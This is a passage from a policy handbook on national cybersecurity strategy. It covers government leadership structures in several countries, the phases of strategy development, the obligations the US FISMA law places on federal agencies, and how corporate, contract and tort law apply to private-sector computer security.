Computer security is characterized by interrelationships across sectors, including similar or identical hardware and software and dependency on a common communications network. Therefore, governments must design policies that ensure sharing of information about vulnerabilities and solutions across infrastructure categories. This can be greatly facilitated by the designation of centralized leadership within the government to coordinate cyber-security policies and programs; we will return to this point later.

CHAPTER 2.
PROTECTING GOVERNMENT SYSTEMS

All of the issues pertaining to small and medium sized enterprises that are covered in Part 3 are equally applicable to government systems. Just as an enterprise needs to protect itself, its suppliers, and its customers, the government must protect its systems and its citizens from security threats, both physically and in cyberspace. Local and national governments cannot afford to have major crises such as interruption of operations that are based on computers, loss of confidential data, or theft of computing resources. Security incidents that are well-publicized lead to a diminution of public trust and present an obstacle to promotion of e-government initiatives. Therefore, government's first responsibility in terms of computer security is probably to "get its own house in order," meaning that government agencies at all levels (national, provincial, and local) must protect the computer systems that they own and operate. These include the computer systems used by government agencies or ministries, including national defense authorities, law enforcement, public health and safety and emergency response agencies, and central banks. Government-owned infrastructures that are dependent on computers may also include water systems, hydroelectric dams, the air traffic control system, and other facilities, depending on what is privatized and what is government owned.

Leadership and Organization

Computer security poses leadership and organizational challenges within government. For purposes of defining responsibilities within government, is computer security an economic, national security, or law enforcement problem?

- Canada has put much of the authority for cyber-security in its Ministry National Defence.[113]
- In the United Kingdom, the Home Office, which is mainly a law enforcement ministry, has the lead.[114]
- The United States has put the issue within the newly created Department of Homeland Security, but consciously left the Computer Security Division of the National Institute of Standards and Technology under the Commerce Department.[115]
- Australia has created an E-Security Coordination Group to coordinate cybersecurity policy,, an inter-agency body chaired by the National Office for the Information Economy, which is an Executive Agency[116] under the Minister for Communications, Information Technology and the Arts.
- Italy has established an Interministerial Committee for Responsible Use of the Internet, managed by the Department of Innovation and Technologies in the Prime Minister's Office.
- In Japan, in 2000, the Prime Minister established a branch for IT security in the Cabinet Office in order to better coordinate security policy and measures among ministries and agencies. The branch is composed of experts from concerned ministries and agencies and from the private sector.[117]

The choice of where within government to place cyber-security leadership can be significant. For example, the issues surrounding the sharing of information about cyber-security vulnerabilities and when to disclose vulnerabilities to the public require a balancing of interests. Placing responsibility for cyber-security within the

[113] Canada's Office of Critical Infrastructure Protection and Emergency Preparedness is a civilian organization operating within the Ministry of National Defence.
[114] The U.K.'s Home Office has created a National Infrastructure Security Coordination Centre (NISCC) to coordinate critical infrastructure protection issues, provide alerts and attack response assistance, and facilitate public-private relationships to protect infrastructure. Within NISCC, there is a Computer Emergency Response Team, known as UNIRAS. An Electronic Attack Response Group (EARG) is also within NISCC to provide assistance to critical infrastructure organizations and government departments that suffer an attack. UNIRAS will provide an early warning and alert service to all UK businesses. The NISCC website (http://www.niscc.gov.uk) provides detailed information on the British government's approach.
[115] In some ways, the United States is a complex model of coordination, and may therefore be of limited utility as an example for developing countries. The Homeland Security Act of 2002 places responsibility for security of both government and private sector computer systems in the Department of Homeland Security, but the Federal Information Security Management Act of 2002 gives the Office of Management and Budget in the White House responsibility for overseeing security of government computer systems, and a Homeland Security Council in the White House also has responsibility for coordinating cybersecurity policy.
[116] Under Australian law, Executive Agencies are non-statutory bodies established by the Governor-General when a degree of independence within the governmental structure is needed and when the functions of the agency require a government-wide approach. The head of an Executive Agency is appointed by, and directly accountable to a Minister, in this case the Minister for Communications, Information Technology and the Arts. See http://www.noie.gov.au/Projects/confidence/Protecting/nat_agenda.htm.
[117] See http://www.kantei.go.jp/foreign/it/security/2000/0519taisei.html.

defense ministry, which likely has a tradition of national security secrecy, may hamper information sharing and produce a policy that does not sufficiently promote public awareness. Since public-private partnership is a major component of what we believe to be the most effective computer security strategy, leadership for cyber-security may better be placed within an economic affairs agency or an intergovernmental body under the nation's chief executive.

But more important than the question of which agency or agencies should be given responsibility for computer security is the point that some national leadership should be designated to ensure that computer security will receive government-wide attention. There are important organizational questions to be considered when it comes to getting powerful existing ministries to address computer security. If the agency with cyber-security leadership is granted only the powers of persuasion and publicity, its ability to improve security in other ministries may be limited. Therefore, mechanisms should be considered that give the office charged with cyber-security leadership the authority to require other ministries and departments to address the security of their own systems. The ultimate power to require ministries to comply with computer security standards may be the authority to disapprove those government agencies' computer purchases that do not meet security standards.

To some extent, the United States has taken this approach, giving its Office of Management and Budget in the Office of the President authority to approve or disapprove expenditure of funds for computer systems based on various considerations, including security. Other less drastic measures include requiring ministries and government agencies to conduct annual cyber-security audits and report the results to the cyber-security office. Whatever structures are chosen, leadership from the office of the president or prime minister will probably be needed to ensure that all departments are taking the issue seriously.

Another organizational challenge for government is the problem of human resources: Governments may find it hard to attract and retain well-qualified computer security personnel. Effective responses may include college scholarships for computer security studies, where the scholarships require graduates to work a certain number of years for the government. A short-term solution may be a secondment program with the private sector whereby corporate cyber-security experts are loaned to the government but paid in whole or in part by their private sector employers. For both developed and developing countries, the problem of human resources in cyber-security may be a manifestation of the government's broader difficulty in paying salaries competitive with the private sector in order to attract qualified, committed employees.

Developing a National Cyber-Security Strategy

The process of developing a "national cyber-security strategy" can be an effective means of deciding what a nation's cyber-security vulnerabilities are, what the government's responsibilities should be, and what policies and legal reforms need to be adopted. A national cyber-security strategy can also define the relationship of the government to the private sector. Here we will focus mainly on the elements of a cyber-security strategy that concern protecting the government's own computers. Later on in Part 4, we will discuss the role of the government in improving the security of private sector systems. The U.S. strategy explains the reason for the distinction:

> "In general, the private sector is best equipped and structured to respond to an evolving cyber threat. There are specific instances, however, where federal government response is most appropriate and justified. Looking inward, providing continuity of government requires ensuring the safety of [the government's] own cyber infrastructure and those assets required for supporting its essential missions and services. Externally, a government role in cyber-security is warranted in cases where high transaction costs or legal barriers lead to significant coordination problems; cases in which governments operate in the absence of private sector forces; resolution of incentive problems that lead to under provisioning of critical shared resources; and raising awareness."[118]

[118] The National Strategy to Secure Cyberspace [United States], February 2003, p. ix, http://www.whitehouse.gov/pcipb/; http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.

To date, the United States has had probably the most extensive and most transparent process of developing a national cyber-security strategy, but the same themes emerge in the initiatives of other countries and international bodies. While details of the process and of the resulting organizational structures and laws will vary from country to country, the process of developing a cyber-security strategy is similar to that which many countries have undertaken in developing national ICT strategies.[119] Indeed, security is best seen as a component of a nation's ICT strategy, and a cyber-security strategy can be developed with the same institutions and mechanisms used to develop a nation's basic program for ICT development. Japan, for example, has incorporated cyber-security into its "e-Japan Priority Policy Program" of March 2001.[120]

Looking at the experiences of those countries that have developed national cyber-security strategies, some common elements or phases emerge:

1. Assessment of national vulnerabilities and issuance of a public report that conceptualizes the issue and raises awareness of policymakers and the public;
2. Creation of a leadership structure within the executive branch to oversee the development and implementation of policy;
3. Drafting of a detailed national plan based on dialogue with the private sector;
4. Adoption of legislation and guidelines addressing such questions as information sharing and accountability.

The first phase is to broadly assess vulnerabilities and raise awareness. Australia, for example, published the report "Australia's National Information Infrastructure: Threats and Vulnerabilities" in 1997. The report, prepared by the Defence Signals Directorate, concluded that Australian society was vulnerable to significant disruption due to vulnerabilities in computer networks and that no formal structure existed for the coordination and implementation of government policy for protecting critical infrastructures.[121] In the United States, to study the issue, the President appointed a board of corporate and government officials, known as the President's Critical Infrastructure Protection Board in 1996. The board had no regulatory powers and was not a permanent body. It conducted hearings, interviews, and research and issued a report that described the problem and drew the attention of policymakers, corporate officials, the media and the public. The Board presented its report in October 1997, calling for closer cooperation between the private sector and the government and making numerous specific recommendations.

The second phase is to create some permanent structure within the executive branch to coordinate policy development and implementation. In Canada, for example, following the issuance of an assessment by an inter-departmental Critical Infrastructure Protection Task Force, the government created an Information Protection Coordination Centre to collect information, assess threats, and analyze incidents and an Office of Critical Infrastructure Protection and Emergency Preparedness to provide national leadership on critical infrastructure protection issues.[122]

In the United States, Presidents Clinton and Bush issued a series of executive directives establishing policymaking and oversight bodies within the executive branch of the federal government. The directives called for the development of a national plan for infrastructure protection.[123] These Presidential orders did not give federal agencies authority over the systems of the private sector; instead, they emphasized public-private partnership and information sharing. Other leadership structures are discussed above under "Leadership and Organization."

[119] For descriptions of how various other countries developed their cyber-security strategies, see International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

[120] http://www.kantei.go.jp/foreign/it/network/priority-all/index.html.

[121] See International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002), p. 18, http://www.isn.ethz.ch/crn.

[122] Office of Critical Infrastructure Protection and Emergency Preparedness [Canada], http://www.ocipep.gc.ca/critical/nciap/disc_e.asp.

[123] President Clinton issued Presidential Decision Directive (PDD) 63: Critical Infrastructure Protection, May 22, 1998, http://www.fas.org/irp/offdocs/pdd-63.htm and PDD 62: Protection Against Unconventional Threats to the Homeland and Americans Overseas, May 22, 1998, http://www.fas.org/irp/offdocs/pdd-62.htm. In the aftermath of September 11, 2001, President Bush signed two executive orders reallocating functions and creating new entities within the executive branch responsible for critical infrastructure protection. E.O. 13228, Establishing the Office of Homeland Security and the Homeland Security Council, October 8, 2001, http://fas.org/irp/offdocs/eo/eo-13228.htm; E.O. 13231, Critical Infrastructure Protection in the Information Age, October 16, 2001, http://www.ciao.gov/News/EOonCriticalInfrastrutureProtection101601.html.

The third phase involves the development of the strategy itself. As noted above, a national cyber-security strategy can be a free-standing document or it can be part of the nation's overall ICT strategy. A key to this process is dialogue between government and the private sector. In Japan, which has incorporated cyber-security into its overall ICT strategy, the process was carried out jointly by the "IT Strategy Headquarters" established within the Cabinet and the "IT Strategy Council," made up of 20 opinion leaders, which was established in order to combine private- and public-sector strengths.[124] In the United States, the cyber-security strategy is a free-standing document.

Development of the U.S. cyber-security strategy involved a lengthy process of public dialogue, managed by the staff of the National Security Council. The first version of the strategy was issued in 2000. A revised plan was published in draft in the fall of 2002 and in final form in February 2003.[125] At all stages of the process, the U.S. plans were drafted on the basis of extensive consultations within government and between the government and the private sector. Ten public meetings were held in major cities around the country to gather input on the development of the strategy. Civil society groups, trade associations and corporations were consulted. Other national cyber strategies include that of Australia.[126]

Other strategy efforts have been undertaken at a regional level. The European Union has developed a cyber-security strategy not in a single document, but rather in a series of Communications and proposals from the Commission and a Council resolution, issued over a period of years.[127] The Asia Pacific Economic Cooperation (APEC) forum has adopted a regional cyber-security strategy, drafted by the Telecommunications and Information Working Group (TEL) with active participation of the private sector.[128] The Organization of American States (OAS) has undertaken regional work as well.[129] In June 2003, the OAS General Assembly approved a resolution calling for development of an inter-American strategy against threats to computer information systems and networks.[130] The Organization for Economic Cooperation and Development (OECD) has issued a set of Guidelines that constitute a roadmap for governments (and private enterprises) in developing cybersecurity strategies.[131]

A consistent set of themes emerges from these national, regional and international cyber-security strategies:

---

[124] "e-Japan Priority Policy Program," March 29, 2001, http://www.kantei.go.jp/foreign/it/network/priority-all/index.html.

[125] The final version is The National Strategy to Secure Cyberspace, Feb. 14, 2003: http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf. The National Strategy to Secure Cyberspace was supplemented by The National Strategy for the Physical Protection of Critical Infrastructures and Key Assets, released March 4, 2003, http://www.dhs.gov/interweb/assetlibrary/Physical_Strategy.pdf. Both of these documents are implementing components of The National Strategy for Homeland Security, issued by the White House on July 16, 2002.

[126] E-Security National Agenda [Australia], September 2001 http://www.noie.gov.au/projects/confidence/Protecting/nat_agenda.htm.

[127] European Commission, Proposal for a Regulation of the European Parliament and of the Council - Establishing the European Network and Information Security Agency, Feb. 11, 2003, COM(2003) 63 final, 2003/0032 (COD), http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf; Council of the European Union, Council Resolution of 28 January 2002 on a common approach and specific actions in the area of network and information security, (2002/C 43/02), http://www.europa.eu.int/information_society/eeurope/action_plan/safe/netsecres_en.pdf; European Commission, Proposal for a Council Framework Decision on attacks against information systems, Apr. 19, 2002, COM(2002) 173 final, 2002/0086 (CNS), http://europa.eu.int/eur-lex/en/com/pdf/2002/com2002_0173en01.pdf; European Commission, Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - Network and Information Security: Proposal for a European Policy Approach, June 6, 2001, COM (2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm; European Commission, Communication from the Commission to the Council, the European Parliament, the Economic and Social Committee and the Committee on the Regions - Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime, Jan. 26, 2001, COM(20000) 890 final, http://europa.eu.int/ISPO/eif/InternetPoliciesSite/Crime/CrimeCommEN.html.

[128] Available at: http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html. In October 2002, APEC Ministers underscored the importance of protecting the integrity of APEC's communications and information systems while allowing the free flow of information. In responding to this challenge, they supported the TEL cyber-security strategy and instructed officials to implement it. http://203.127.220.67/apec/ministerial_statements/annual_ministerial/2002_14th_apec_ministerial.html#policies.

[129] The OAS's initial work focused on cybercrime. See material compiled at http://www.oas.org/juridico/english/cyber_experts.htm.

[130] Development of an Inter-American Strategy to Combat Threats to Cybersecurity, AG/RES. 1939 (XXXIII-O/03) (Resolution adopted at the fourth plenary session, held on June 10, 2003) http://www.oas.org/main/main.asp?sLang=E&sLink=http://www.oas.org/documents/eng/documents.asp.

[131] Organization for Economic Cooperation and Development, OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034292.pdf; "Implementation Plan for the OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security," Organization for Economic Cooperation and Development, Working Party on Information Security and Privacy, DSTI/ICCP/REG(2002)6/FINAL, Jan. 21, 2003, http://www.olis.oecd.org/olis/2002doc.nsf/LinkTo/dsti-iccp-reg(2002)6-final.

- **Public-Private Partnership:** Effective cybersecurity requires a public-private partnership.[132] The private sector has primary responsibility for ensuring the security of its systems and networks.

- **Public Awareness:** "Participants in a network, whether as developer, owner, operator, or individual user, must be aware of the threats to and vulnerabilities of the network and assume responsibility for protecting that network according to their position and role."[133]

- **Best Practices, Guidelines and International Standards:** Cybersecurity should be based on the growing number of voluntary, consensus-based standards and best practices being developed through international standards bodies and cooperative institutions. These standards are crucial guides to governments' internal policies. Governments need not and should not mandate technical standards for the private sector.[134]

- **Information Sharing:** It is widely recognized that cyber-security efforts have been hampered by system operators' reluctance to disclose vulnerabilities and attacks. Sharing of information should be encouraged among private sector entities, between the private sector and the government, and internationally.

- **Training and Education:** The APEC Strategy states, "The development of the human resources is critical to the success of efforts to improve security. In order to achieve cybersecurity, governments and corporations must have personnel trained in the complex technical and legal issues raised by cybercrime and critical infrastructure protection.

- **Respect for Privacy:** ICT networks transmit and store communications and personal information of the most sensitive character. Privacy is a crucial component of trust in cyberspace and cybersecurity strategies must be implemented in ways compatible with the essential values of a democratic society.[135]

- **Vulnerability Assessment, Warning and Response:** As the APEC strategy puts it: "Successfully combating cybercrime and protecting information infrastructures depends upon economies having in place systems for evaluating threats and vulnerabilities and issuing required warnings and patches. By identifying and sharing information on a threat before it causes widespread harm, networks…can be better protected."[136] The United States Strategy calls for the creation of a National Cyberspace Security Response System to rapidly identify attacks on computer networks.

---

[130] Development of an Inter-American Strategy to Combat Threats to Cybersecurity, AG/RES. 1939 (XXXIII-O/03) (Resolution adopted at the fourth plenary session, held on June 10, 2003) http://www.oas.org/main/main.asp?sLang=E&sLink=http://www.oas.org/documents/eng/documents.asp.

[131] Organization for Economic Cooperation and Development, OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034292.pdf; "Implementation Plan for the OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security," Organization for Economic Cooperation and Development, Working Party on Information Security and Privacy, DSTI/ICCP/REG(2002)6/FINAL, Jan. 21, 2003, http://www.olis.oecd.org/olis/2002doc.nsf/LinkTo/dsti-iccp-reg(2002)6-final.

[132] See, e.g., APEC, "Statement on the Security of Information and Communications Infrastructure," Fifth APEC Ministerial Meeting on Telecommunications and Information Industry, Shanghai, China, May 29-30, 2002, http://www.apecsec.org.sg/virtualib/minismtg/telminAnnexB_SICI.html. Canada's *National Critical Infrastructure Assurance Program Discussion Paper* emphasizes public/private sector interaction and cooperation. http://www.ocipep.gc.ca/critical/nciap/disc_e.asp (Draft), Nov. 1, 2002. Article 7 of Japan's Basic Law on the Formation of an Advanced Information and Telecommunications Network Society specifies that the private sector is to take the lead in forming an advanced information and telecommunications network, with the state and local governments implementing supportive measures to ensure the private sector can exert its full potential. Basic Law on the Formation of an Advanced Information and Telecommunications Network Society, Law No. 144 of 2000, Nov. 2000, http://www.kantei.go.jp/foreign/it/it_basiclaw/it_basiclaw.html.

[133] APEC Cybersecurity Strategy, http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html. See also, Council of the European Union, *Council Resolution of 28 January 2002 on a common approach and specific actions in the area of network and information security*, (2002/C 43/02), http://www.europa.eu.int/information_society/eeurope/action_plan/safe/netsecres_en.pdf. Awareness is a major theme as well of the OECD guidelines and the work of the G8.

[134] For example, while the U.S. strategy addresses both government systems and privately owned and operated infrastructures, it concludes that the government should not dictate security standards for private sector systems. *The National Strategy to Secure Cyberspace,* February 2003, pp. 11, 15, http://www.whitehouse.gov/pcipb/; http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.

[135] Principle 5 of the OECD Guidelines is "Democracy." *OECD Guidelines for the Security of Information Systems and Networks:* Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034292.pdf. Protection of privacy and civil liberties is a guiding principle of the U.S. strategy. *The National Strategy to Secure Cyberspace* [United States], February 2003, p. 4, http://www.whitehouse.gov/pcipb/; http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.

[136] APEC Cybersecurity Strategy, http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html.

- **International Cooperation:** Governments should work together to develop compatible cybercrime laws and law enforcement cooperation and should work through international organizations to facilitate dialogue and partnerships among international public and private sectors focused on protecting promoting a global "culture of security."[137]

The process of developing and implementing a cyber-security strategy for a government has many of the same elements as the development and implementation of a computer security program for a corporate enterprise:

- Assess vulnerabilities.
- Raise awareness.
- Designate program leadership to serve as policy coordinator and for oversight.
- Develop a risk management program.
- Adopt appropriate security guidelines.
- Structure accountability.
- Periodically reassess and continuously improve.

The fourth phase (focusing for the moment on the security of government systems) is the promulgation of guidelines or the enactment of any necessary laws addressing cyber-security issues. Some countries, such as Japan and Italy, have approached this issue through guidelines. In July 2000, the IT Security Promotion Committee at the Cabinet level issued "Guidelines for IT Security Policy," requiring all offices and ministries by FY2003 to implement an assessment of IT security policies and to take other steps to raise the level of security. In March 2001, Japan's Inter-Ministerial Council for Promoting the Digitization of Public Administration issued security guidelines for all IT government procurements.[138] In the United States, where the Congress concluded that the Executive Branch was not adequately improving the security of government computer systems, Congress adopted the Federal Information Security Management Act (FISMA) of 2002, strengthening requirements and oversight mechanisms within the federal government.[139] A similar approach has been followed in Tunisia, where the government in 2002 adopted security regulations that require government agencies to perform an annual security audit of their computer systems.

Structuring Responsibility: Implementing a Cyber-Security Strategy for Government Systems – The U.S. Approach

In the United States, policy for addressing the security of the federal government's own information systems is defined in greater detail and implemented through the Federal Information Security Management Act, adopted in 2002.[140] The law illustrates some of the ways in which accountability can be built into implementation of cyber-security across multiple agencies.

The stated purpose of FISMA is to provide government-wide management and oversight of computer security, including coordination of information security efforts throughout the civilian, national security, and law enforcement agencies, and to provide for the development and maintenance of minimum controls required to protect government information systems. The law acknowledges that commercially developed products offer dynamic and effective computer security solutions for the government. It leaves to individual agencies the selection of specific technical hardware and software security solutions from among commercially developed products.

FISMA requires the head of each agency to develop, document, and implement an agency-wide Information Security Program for the information systems that support the operations of the agency, including those provided or managed by contractors.[141] The program must include:

---

[137] International cooperation has been a major theme of the G8, *see* Presidents' Summary: Meeting of G8 Ministers of Justice and Home Affairs, Paris, May 5, 2003, http://www.g8.utoronto.ca/justice/justice030505.htm, and of the OECD as well.

[138] http://www.kantei.go.jp/foreign/it/network/priority-all/7.html. Italy's Minister for Innovation and technologies issued "The government's guidelines for the development of the information society" in June 2002.
http://www.innovazione.gov.it/eng/documenti/linee_guida_eng.pdf. The audit office of New South Wales, Australia has issued a checklist for governments called "Implementing e-Government - Being Ready," http://www.audit.nsw.gov.au/guides-bp/e-govt-BPG.pdf,
which includes a chapter on security.

[139] Federal Information Security Management Act, Title III of the E-Government Act of 2002, Pub. Law 107-347, http://csrc.nist.gov/policies/FISMA-final.pdf. FISMA is discussed further below.

[140] Federal Information Security Management Act, Title III of E-Government Act of 2002, Pub. Law 107-347, http://csrc.nist.gov/policies/FISMA-final.pdf and http://www.fedcirc.gov/library/legislation/FISMA.html. Parts of FISMA are codified in Titles 40 and 44 of the United States Code.

[141] Title 44, United States Code, section 3544.

- Periodic assessments of the risk and magnitude of the harm that could result from the unauthorized access, use, disclosure, disruption, modification, or destruction of information or systems.

- Policies and procedures that:

  o are based on the risk assessments;
  o cost-effectively reduce information security risks;
  o ensure that information security is addressed throughout the life cycle of each agency information system; and
  o ensure compliance with OMB requirements and security standards.

- Subordinate plans for providing adequate information security for networks, facilities, and systems or groups of information systems.

- Security awareness training for agency personnel, contractors, and other users of information systems that support the operations of the agency.

- Periodic testing and evaluation (not less than annually) of the effectiveness of information security policies, procedures and practices, which includes testing of management, operational, and technical controls.

- A process for planning, implementing, evaluating, and documenting remedial action to address any deficiencies in the information security policies, procedures, and practices of the agency.

- Procedures for detecting, reporting, and responding to security incidents.

- Plans and procedures to ensure continuity of operations for information systems that support the operations and assets of the agency.

Each agency is required to submit an annual report to the Director of the Office of Management and Budget (OMB, part of the Executive Office of the President) and to Congressional committees on the adequacy and effectiveness of information security policies, procedures and practices and on compliance with each element of the required agency-wide Information Security Program. Additionally, the adequacy and effectiveness of information security policies, procedures, and practices must be addressed in a number of other plans and reports, including those relating to annual agency budgets, program performance, financial management, and internal accounting and administrative controls. Any deficiencies in policies, procedures, and practices that are identified must be reported to OMB and the Congress.[142]

Annually, each agency must have an independent security evaluation performed to determine the effectiveness of its information security program and practices. Each evaluation must include testing of the effectiveness of information security policies, procedures and practices of a representative subset of the agency's information systems, and an assessment of compliance with relevant information security policies, procedures, standards, and guidelines.[143]

FISMA requires the Director of OMB to oversee the development and implementation of all information security policies and practices. FISMA also vests authority in the National Institute of Science and Technology to develop standards and guidelines for minimum information security requirements[144] and requires the Director of OMB to oversee agency compliance with these requirements and to review at least annually agency information security programs. The OMB Director is charged with reporting annually to Congress on the agencies' performance.[145]

[142] Id.
[143] Title 44, United States Code, section 3545.
[144] Title 40, United States Code, section 11331.
[145] Title 44, United States Code, section 3543.

CHAPTER 3.
THE ROLE OF LAW AND GOVERNMENT POLICY VIS-À-VIS THE PRIVATE SECTOR

Traditional Legal Responsibilities Translated to Cyberspace

Businesses have an incentive to maintain the security of their information systems because their profitability depends on it. In a variety of ways, if a company does not protect itself against cyber failures, it could suffer losses that directly affect its profitability. Cyber-security breaches can result in substantial interruption of a company's business and tarnish its reputation. An attack on a corporation's computer network may shut down operations or result in damage to or loss of information such as customer data or trade secrets. Any company that fails to provide security may lose customers to competitors that do take security seriously. If makers of computers and software build insecure products, they risk losing customers.

In addition to pure market forces, many legal principles can create incentives for cyber-security.[146] Corporations are subject to a web of legal responsibilities arising from traditional concepts of corporation or company law, contracts, and civil liability for intentional or negligent infliction of loss, to name a few. Corporations are also subject to relatively more modern regulatory obligations related to the registration and sale of securities on public exchanges and to unfair and deceptive trade practices, for example. Increasingly, attention is being given to how these traditional legal responsibilities might apply to cyber-security issues. Regulatory agencies are already determining by rulemaking or case-by-case adjudication that regulatory systems of fair trade or public disclosure apply to computer security issues as well as traditional misconduct or vulnerabilities. In legal systems where judges have authority to extend general legal concepts to new situations, judges could resolve lawsuits involving cyber-security by deciding that a traditional legal concept (such as negligence or the duties of contractual performance) applies to computer failures.

While this area of the law is barely emerging even in developed countries, part of the legal and policy debate in any nation concerning cyber-security should include consideration of how traditional legal concepts apply to the risks and responsibilities of computer security.

In this section, we discuss the ways in which legal policies of general applicability are being extended to cyber-security. In Chapter 4, we discuss governmental policies that are specifically designed to promote cyber-security in the private sector.

Laws Regarding Corporate Governance, the Registration and sale of Corporate Securities, and Accounting

Under company/corporate law, an entity's officers and directors may have a fiduciary obligation to the corporation and its shareholders to use reasonable care in overseeing the corporation's business operations. Increasingly, it is being recognized that this duty extends to matters of computer security. Some writers have noted that where corporate officers and directors are negligent in failing to take appropriate steps to assess the threat of cyber-security breaches and to insist that management protect the corporation accordingly, the directors may be liable for damages in lawsuits brought by shareholders.[147]

In the United States, this kind of legal obligation, arising from general rules of corporate law (promulgated at the state level), has been strengthened by federal statutory obligations. The Sarbanes-Oxley Act of 2002 imposes a number of new requirements on the sale of corporate securities, prompted in large part by accounting scandals. Congress determined that cyber-security had become vital to the soundness of a corporation's financial data. Therefore, Congress included a requirement that a corporation's auditors publicly attest to the security of the corporations' information systems.[148]

---

[146] See the excellent article by Thomas J. Smedinghoff, "The Developing U.S. Legal Standard for Cyber-security," Baker & McKenzie, Chicago (May 3, 2003), http://www.bmck.com/ecommerce/us%20cyber-security%20standards.pdf

[147] Benjamin Wright, "The Legal Risks of Computer Pests and Hacker Tools," *Password* (the ISSA Magazine), Feb. 2002, http://www.tecmetrics.com/legal_risks.htm.

[148] Sarbanes-Oxley Act of 2002, Pub. Law 107-204.

Also under the law in various companies, publicly traded corporations must undergo annual financial audits by independent accounts. As accountants recognize that cyber-vulnerabilities may threaten the financial viability of a company, accountants increasingly including cyber-security in the scope of their audits. A number of organizations have developed standards or guidelines for use by auditors.[149]

Contract Law

Businesses may also have a responsibility under contract law to protect the data of their customers from unauthorized access or destruction resulting from a cyber-security breach. Applying basic contract law principles in the cyber context, a company that represents that its system is secure, whether in a service contract or a privacy and security promise appearing on its web-site, could arguably be deemed to have entered into an agreement with a customer who has agreed to the contract or has proceeded to interact with the company in reliance on those assurances.[150] This company may be subject to claims for breach of contract if the security of customer information is compromised in a cyber attack. Companies that offer web-based services may also have contractual responsibilities to consumers to maintain the availability of these services. If a site is rendered inoperable by a denial of service attack, the company may be subject to customer claims for breach of contract.[151]

Tort Law

Theoretically, the legal doctrine of torts (civil liability for the intentional or negligent causing of injury) could have application to various kinds of computer security failures.[152] For example, applying traditional tort theory to the cyber context, if a company fails to take reasonable measures to protect a customer's information from unauthorized disclosure as a result of a cyber-attack, the company could be subject to a claim for negligence. Where a company's computers are used to launch a cyber attack against a third party, there may be potential for tort liability if the company failed to take widely-accepted measures to prevent its computers from being hijacked. Where an attack is launched by a company employee, victims may be able to obtain relief by showing that the defendant company engaged in negligent hiring or supervisory practices.[153]

For now, this is an area of the law that remains undeveloped, even in the United States, where tort lawsuits are common for a wide range of injuries. So far, courts have not held that there is a general legal duty to maintain one's network secure. However, it may be just a matter of time before traditional theories of liability are applied to the field of computer security. At such time, courts could find the standard of care for computer security in industry "best practices," guides and manuals issued by regulators or trade associations, and standards adopted by self-regulatory bodies.[154]

[149] See, e.g., the Information Systems Audit and Control Association, http://www.isaca.org.
[150] See, e.g., Michael Nugent, *It Can't Happen Here*, Wall Street Technology Association, Ticker, A Technology Magazine For Industry Profession (2003) (Nugent), http://www.wsta.org/publications/articles/0402_article03.html.
[151] Id
[152] Margaret Jane Radin, "Distributed Denial of Service Attacks: Who Pays?, http://www.mazunetworks.com/white_papers/radin-print.html; Sarah Scalet, "See You in Court," CIO Magazine, Nov. 1, 2001, http://www.cio.com/archive/110101/court_content.html.
[153] Id., Michael Nugent, *It Can't Happen Here*, Wall Street Technology Association, Ticker, A Technology Magazine For Industry Profession (2003), http://www.wsta.org/publications/articles/0402_article03.html.
[154] As is made clear throughout this handbook, there is a growing body widely accepted computer security standards, ranging from the Organization for Economic Cooperation and Development (OECD) Guidelines for the Security of Information Systems to the information security standards adopted by non-governmental standards bodies. See, e.g., Nugent, *supra* note ____(43) .

CHAPTER 4.
GOVERNMENT CYBER-SECURITY POLICIES

Increasingly, governments are recognizing that they need to adopt policies that specifically address the issue of computer security in the private sector. This may include the adoption of legislation imposing certain duties on private sector corporations. Experience has shown that tailoring the level of regulatory intervention to the particular facts and circumstances at hand is a key ingredient to successful regulation.[155] With this caution in mind, governments are beginning to impose duties on private sector, without mandating particular technologies or standards. In Europe, responsibility for computer security is imposed across all sectors by the Data Protection Directive.[156] In Singapore, the government has made computer security a component of the regulatory requirements for the financial sector, broadly defined. In the United States, in recent years, federal legislation has been adopted imposing explicit computer security responsibilities on the banking industry and the health care industry.[157] We discuss these more fully below, but first we emphasize some of the important roles the government can play vis-à-vis the private sector without regulation.

Non-regulatory Roles of Government

There are a number of ways in which government can directly influence the security of privately owned and operated computer systems. Not all of these policy options are regulatory; many of the most effective options may be non-regulatory in nature.

Research: An important role for the government is in conducting and funding research on computer security. The U.S. National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Commerce Department. NIST's mission is to develop and promote measurement, standards, and technology to enhance productivity, facilitate trade, and improve the quality of life.

NIST's Computer Security Division works to improve information systems security by:

- Raising awareness of IT risks, vulnerabilities, and protection requirements;
- Researching, studying, and advising agencies about IT vulnerabilities;
- Devising techniques for the cost-effective security of sensitive Federal systems;
- Developing standards, metrics, tests, and validation programs to promote, measure, and validate security in systems and services;
- Establishing minimum security requirements for Federal systems; and
- Developing guidance to increase secure IT planning, implementation, management and operation.[158]

In sharing research publicly, government agencies may need to overcome a tradition of secrecy. The normally super-secret National Security Agency in the United States has posted on its public web site its Security Recommendation guides.[159]

